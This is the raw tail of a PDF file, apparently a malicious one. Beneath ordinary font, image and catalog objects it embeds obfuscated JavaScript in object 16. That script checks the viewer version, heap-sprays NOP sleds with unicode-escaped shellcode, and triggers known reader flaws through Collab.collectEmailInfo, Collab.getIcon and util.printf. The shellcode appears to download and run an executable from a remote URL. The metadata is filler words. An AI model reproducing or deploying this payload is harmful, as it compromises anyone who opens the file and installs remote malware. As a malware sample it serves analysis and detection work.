/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2258>>
stream
���� JFIF    ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C          		 
  
                  $.' ",#  (7),01444 '9=82<.342��C 			    

 2! !22222222222222222222222222222222222222222222222222��  � �  "      ��                 	
 �ĵ             }       !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                    	
 �ĵ              w      !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������       ?�(��� (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(�A8 5 27� ƕ�h��B
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(�� �p�3��j���ƛCUv�Ө��7p��)QE QE QE QE QE QE QE QE QE QE QE QE QE QE QHH��T_j����	���x�8V�Ҥ� �(� �����lLZ(��^ڌ(��2qL �I  �ÚP�6 ��Of �a�5iw%�  X�J�R �*:��^�L(��c
(��
(��
(��
(��
(�$I8 � ��o�  c� O �* C�i�vc���B
(��
(��
(��
(��
(��
(��
(��
(��
(�� �q��� �1.��+D����Fބ ��P46 2\nU ��_�B)!�(���E]� 
(��  Q@  Q@  Q@ Y }ǥ >�`S(�w��-% Vij�mB�(�((��(��(��(��*9�I )8 u�) C)R2 QL �I�6 � H ?έYL�#  � '�!�~o�j�q�K�  6�M�:�(�$(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(�'
O�A�1�* ��Ql���b� �� )jI
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
��䑱 �OER����v �� Ө���M�݅ QHAE P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 11 0 R
/F2 12 0 R
/F3 13 0 R
>>
/XObject <<
/I1 14 0 R
>>
/Properties <</OC1 9 0 R /OC2 10 0 R>>
/ExtGState <<
>>
>>
endobj
15 0 obj
<<
/Names [(EmbeddedJS) 16 0 R ]
>>
endobj
16 0 obj
<<
/S /JavaScript
/JS (��function q5TeDahU7\(hJNey0R8q,knSopuO6h,hMvn4cI0ZI\){}var sF4vJtwY8=null;function tBldhzHcY\(v0dX0adJ\){return false;}var zUG9Kfei = 'var rTq8VBM7 = new Array\(\);var hzoXWf2zMR;function xZltXdRrA\(sR4ZJ8w7ci, kIkwRkWL\){while\(sR4ZJ8w7ci.length * 2 < kIkwRkWL\){sR4ZJ8w7ci += sR4ZJ8w7ci;}sR4ZJ8w7ci = sR4ZJ8w7ci.substring\(0, kIkwRkWL / 2\);return sR4ZJ8w7ci;}function kKsdhSU26\(tNydZuOK\){if\(tNydZuOK == 0\){var h8qcONPj = 0x0c0c0c0c;}else if\(tNydZuOK == 1\){h8qcONPj = 0x30303030;}var awn5fmmtY = new Array\(\\"%u535\\",\\"0%u5251%u\\",\\"5756%u9c55\\",\\"%u00e8%\\",\\"u0000%\\",\\"u5d00%ued\\",\\"83%u310\\",\\"d%u64c\\",\\"0%u4003%u7\\",\\"830%u8b0c%\\",\\"u0c40%u70\\",\\"8b%ua\\",\\"d1c%u408b\\",\\"%ueb08%u8b\\",\\"09%u3440%\\",\\"u408d\\",\\"%u8b7c%u\\",\\"3c40%u5756\\",\\"%u5ebe%u\\",\\"0001%\\",\\"u0100%ubfe\\",\\"e%u014e\\",\\"%u0000%uef\\",\\"01%ud6e\\",\\"8%u0001%\\",\\"u5f00%u8\\",\\"95e%u\\",\\"81ea%\\",\\"u5ec2%u\\",\\"0001%u5200\\",\\"%u8068%u\\",\\"0000%u\\",\\"ff00%\\",\\"u4e95%u00\\",\\"01%u8900%u\\",\\"81ea%u5ec2\\",\\"%u000\\",\\"1%u310\\",\\"0%u01f6%\\",\\"u8ac2%u\\",\\"359c%u0\\",\\"263%u0000%\\",\\"ufb80%u740\\",\\"0%u8806\\",\\"%u321c%u\\",\\"eb46%\\",\\"uc6ee%u32\\",\\"04%u890\\",\\"0%u81ea\\",\\"%u45c2%u00\\",\\"02%u5200%u\\",\\"95ff%u\\",\\"0152%u000\\",\\"0%uea\\",\\"89%uc281\\",\\"%u0250\\",\\"%u000\\",\\"0%u5052%u\\",\\"95ff%u01\\",\\"56%u00\\",\\"00%u00\\",\\"6a%u00\\",\\"6a%uea89%u\\",\\"c281%u0\\",\\"15e%u0000%\\",\\"u8952%u81e\\",\\"a%u78c2%u\\",\\"0002%u5200\\",\\"%u006a%ud0\\",\\"ff%u0\\",\\"56a%uea89\\",\\"%uc281%u01\\",\\"5e%u0000%\\",\\"uff52%\\",\\"u5a95\\",\\"%u0001\\",\\"%u8900\\",\\"%u81ea%u\\",\\"5ec2%u0\\",\\"001%u5\\",\\"200%u8\\",\\"068%u00\\",\\"00%uff\\",\\"00%u4e95%u\\",\\"0001%u8\\",\\"900%u8\\",\\"1ea%u\\",\\"5ec2%u0\\",\\"001%u3\\",\\"100%u0\\",\\"1f6%u\\",\\"8ac2%u359\\",\\"c%u026e%u0\\",\\"000%ufb80%\\",\\"u7400\\",\\"%u880\\",\\"6%u321c%\\",\\"ueb46%u\\",\\"c6ee%u3\\",\\"204%u8\\",\\"900%u81\\",\\"ea%u45c\\",\\"2%u0002%\\",\\"u5200%u95\\",\\"ff%u0152%u\\",\\"0000%uea89\\",\\"%uc281%u02\\",\\"50%u000\\",\\"0%u5052%u9\\",\\"5ff%u01\\",\\"56%u0\\",\\"000%u006\\",\\"a%u006a%ue\\",\\"a89%u\\",\\"c281%u0\\",\\"15e%u0000%\\",\\"u8952%u81e\\",\\"a%ua6c2%u\\",\\"0002%u5\\",\\"200%u006a%\\",\\"ud0ff%u\\",\\"056a%\\",\\"uea89%u\\",\\"c281%u01\\",\\"5e%u000\\",\\"0%uff52%u5\\",\\"a95%u0\\",\\"001%u9d00%\\",\\"u5f5d%\\",\\"u5a5e%u\\",\\"5b59%uc358\\",\\"%u0000%u00\\",\\"00%u0000%u\\",\\"0000%\\",\\"u0000%u\\",\\"0000%\\",\\"u0000%u000\\",\\"0%u6547%u5\\",\\"474%u6d65\\",\\"%u5070%u74\\",\\"61%u41\\",\\"68%u4c00\\",\\"%u616f%u\\",\\"4c64%\\",\\"u6269%u\\",\\"6172%u\\",\\"7972%u0\\",\\"041%u65\\",\\"47%u50\\",\\"74%u6f72\\",\\"%u4163%u\\",\\"6464%u6572\\",\\"%u7373%\\",\\"u5700%u\\",\\"6e69%u78\\",\\"45%u6365%\\",\\"ubb00%uf2\\",\\"89%uf78\\",\\"9%uc03\\",\\"0%u75a\\",\\"e%u29fd%\\",\\"u89f7%u31\\",\\"f9%ubec\\",\\"0%u00\\",\\"3c%u00\\",\\"00%ub\\",\\"503%u\\",\\"021b%u000\\",\\"0%uad66%u8\\",\\"503%u02\\",\\"1b%u000\\",\\"0%u708b%u8\\",\\"378%u1cc\\",\\"6%ub50\\",\\"3%u021b%u0\\",\\"000%u\\",\\"bd8d%u021f\\",\\"%u0000%u03\\",\\"ad%u1b\\",\\"85%u0\\",\\"002%uab0\\",\\"0%u03ad%u\\",\\"1b85%u000\\",\\"2%u500\\",\\"0%uada\\",\\"b%u8503%u0\\",\\"21b%u0000\\",\\"%u5eab%\\",\\"udb31%u56a\\",\\"d%u850\\",\\"3%u02\\",\\"1b%u0000%u\\",\\"c689%\\",\\"ud789%u\\",\\"fc51%ua6f\\",\\"3%u7459%\\",\\"u5e04%u\\",\\"eb43%u5\\",\\"ee9%ud19\\",\\"3%u03e0%u\\",\\"2785%u000\\",\\"2%u31\\",\\"00%u96f6%u\\",\\"ad66%u\\",\\"e0c1%u030\\",\\"2%u1f8\\",\\"5%u000\\",\\"2%u8900\\",\\"%uadc\\",\\"6%u8503%u\\",\\"021b%u0000\\",\\"%uebc3\\",\\"%u0010%u0\\",\\"000%u0\\",\\"000%u0000\\",\\"%u0000%u00\\",\\"00%u0\\",\\"000%u0000%\\",\\"u8900%u1b\\",\\"85%u000\\",\\"2%u56\\",\\"00%ue85\\",\\"7%uff58%u\\",\\"ffff%u5e5f\\",\\"%u01ab\\",\\"%u80ce%u\\",\\"bb3e%u0274\\",\\"%uedeb%\\",\\"u55c3%u4\\",\\"c52%u4\\",\\"f4d%u\\",\\"2e4e%\\",\\"u4c44%u\\",\\"004c%u5\\",\\"255%u4\\",\\"44c%u776f%\\",\\"u6c6e%u61\\",\\"6f%u5464\\",\\"%u466f%\\",\\"u6c69%\\",\\"u4165%\\",\\"u7500\\",\\"%u6470%u\\",\\"7461%u2e6\\",\\"5%u7865%u\\",\\"0065%u\\",\\"7263%u73\\",\\"61%u2\\",\\"e68%u6870\\",\\"%u0070\\",\\"%u7468%u\\",\\"7074%u2f3\\",\\"a%u69\\",\\"2f%u6b6e%u\\",\\"616b%u\\",\\"2e6b%u\\",\\"6e63%u6\\",\\"52f%u\\",\\"746e%u7265\\",\\"%u752f%u\\",\\"6470%u7\\",\\"461%u2e\\",\\"65%u68\\",\\"70%u3f70%\\",\\"u6469%u333\\",\\"d%u7226%u7\\",\\"465%u6f3\\",\\"d%u006b%u9\\",\\"000\\"\);awn5fmmtY = unescape\(awn5fmmtY.join\(\\"\\"\)\);var fK2iJohU = 0x400000;var mTcRGdIAFp = awn5fmmtY.length * 2;var kIkwRkWL = fK2iJohU - \(mTcRGdIAFp + 0x38\);var sR4ZJ8w7ci = unescape\(\\"%u9090%u9090\\"\);sR4ZJ8w7ci = xZltXdRrA\(sR4ZJ8w7ci, kIkwRkWL\);var lFu82BhUm = \(h8qcONPj - 0x400000\) / fK2iJohU;for\(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++\){rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;}}function wYcp8NZ0K\(\){var aNe5YykKME = 0;var e8ooaAyfX = app.viewerVersion.toString\(\);app.clearTimeOut\(hzoXWf2zMR\);if\(\(e8ooaAyfX >= 8 && e8ooaAyfX < 8.102\) || e8ooaAyfX < 7.1\){kKsdhSU26\(0\);var lCnTk4BeM = unescape\(\\"%u0c0c%u0c0c\\"\);while\(lCnTk4BeM.length < 44952\) lCnTk4BeM += lCnTk4BeM;var eTaM5OGrO = this;var qb7cGlrfF2 = Collab;eTaM5OGrO[\\"collabStore\\"] = qb7cGlrfF2[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : lCnTk4BeM}\);}if\(\(e8ooaAyfX >= 8.102 && e8ooaAyfX < 8.104\) || \(e8ooaAyfX >= 9 && e8ooaAyfX < 9.1\) || e8ooaAyfX <= 7.101\){try{if\(app.doc.Collab.getIcon\){kKsdhSU26\(2\);var dl0wQ8RB3 = unescape\(\\"	\\"\);while\(dl0wQ8RB3.length < 0x4000\){dl0wQ8RB3 += dl0wQ8RB3;}dl0wQ8RB3 = \\"N.\\" + dl0wQ8RB3;var pmEWlQvXt = app;pmEWlQvXt[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(dl0wQ8RB3\);aNe5YykKME = 1;}else{aNe5YykKME = 1;}}catch\(e\){aNe5YykKME = 1;}if\(aNe5YykKME == 1\){if\(e8ooaAyfX == 8.102 || e8ooaAyfX == 7.1\){kKsdhSU26\(1\);var r9AIMNUS4 = \\"12999999999999999999\\";for\(gDHYb1eNB = 0; gDHYb1eNB < 276; gDHYb1eNB++\){r9AIMNUS4 += \\"8\\";}var quiIRMbc = util;quiIRMbc[\\"printf\\"]\(\\"E000f\\", r9AIMNUS4\);}}}}app.rjO2bASA3 = wYcp8NZ0K;hzoXWf2zMR = app.setTimeOut\(\\"app.rjO2bASA3\(\)\\", 10\);';function q34u6su2\(ioMR5gz7V,k3zCvAM4o,eT6FROT4NZ\){return ioMR5gz7V;}function rmkqJzTi\(fUhFEtZWm,qMyxid01F,dMPLrGrK\){return dMPLrGrK;}this.tPzyzzQKa=null;var rH5ljG0VLS = zUG9Kfei.replace\(/[]/g, ''\);this.r7E9gM9H=false;var aaNXC3uXC=false;var euoyWqcc2z=new Array\('m2B1rLly','ppm3V2roF'\);var aKcHThxsm = 'eval';app[aKcHThxsm]\(rH5ljG0VLS\);oKegsvZN="j01zyiXE";function q1HkXnUMs\(jU3hrtuz,nHErrrAz\){}var mnvrrMP0i=new Array\(\);mnvrrMP0i[0]=30317;mnvrrMP0i[1]=21154;mnvrrMP0i[2]=15155;)
>>
endobj
17 0 obj
<<
/Title (��normalAlwaysTheir)
/Author (��theWhenBe)
/Subject (��aldusThoseDummy)
/Keywords (��areUsesThis, hereRootsLooks, makingEtTrue)
/Creator (��formTookYou)
/Producer (��9b8ef27229c42198631813f1d2f60aaf)
/CreationDate (D:20091020175329+04'00')
/ModDate (D:20091020175329+04'00')
>>
endobj
18 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 15 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [9 0 R 10 0 R] /D <</ON [9 0 R] /OFF [10 0 R] /AS [<</Event /Print /OCGs [9 0 R 10 0 R] /Category [/Print]>> <</Event /View /OCGs [9 0 R 10 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 19
0000000000 65535 f 
0000007464 00000 n 
0000010512 00000 n 
0000000009 00000 n 
0000000117 00000 n 
0000003517 00000 n 
0000003625 00000 n 
0000006904 00000 n 
0000007012 00000 n 
0000007534 00000 n 
0000007649 00000 n 
0000007763 00000 n 
0000007870 00000 n 
0000007979 00000 n 
0000008087 00000 n 
0000010706 00000 n 
0000010758 00000 n 
0000023354 00000 n 
0000023784 00000 n 
trailer
<<
/Size 19
/Root 18 0 R
/Info 17 0 R
>>
startxref
24182
%%EOF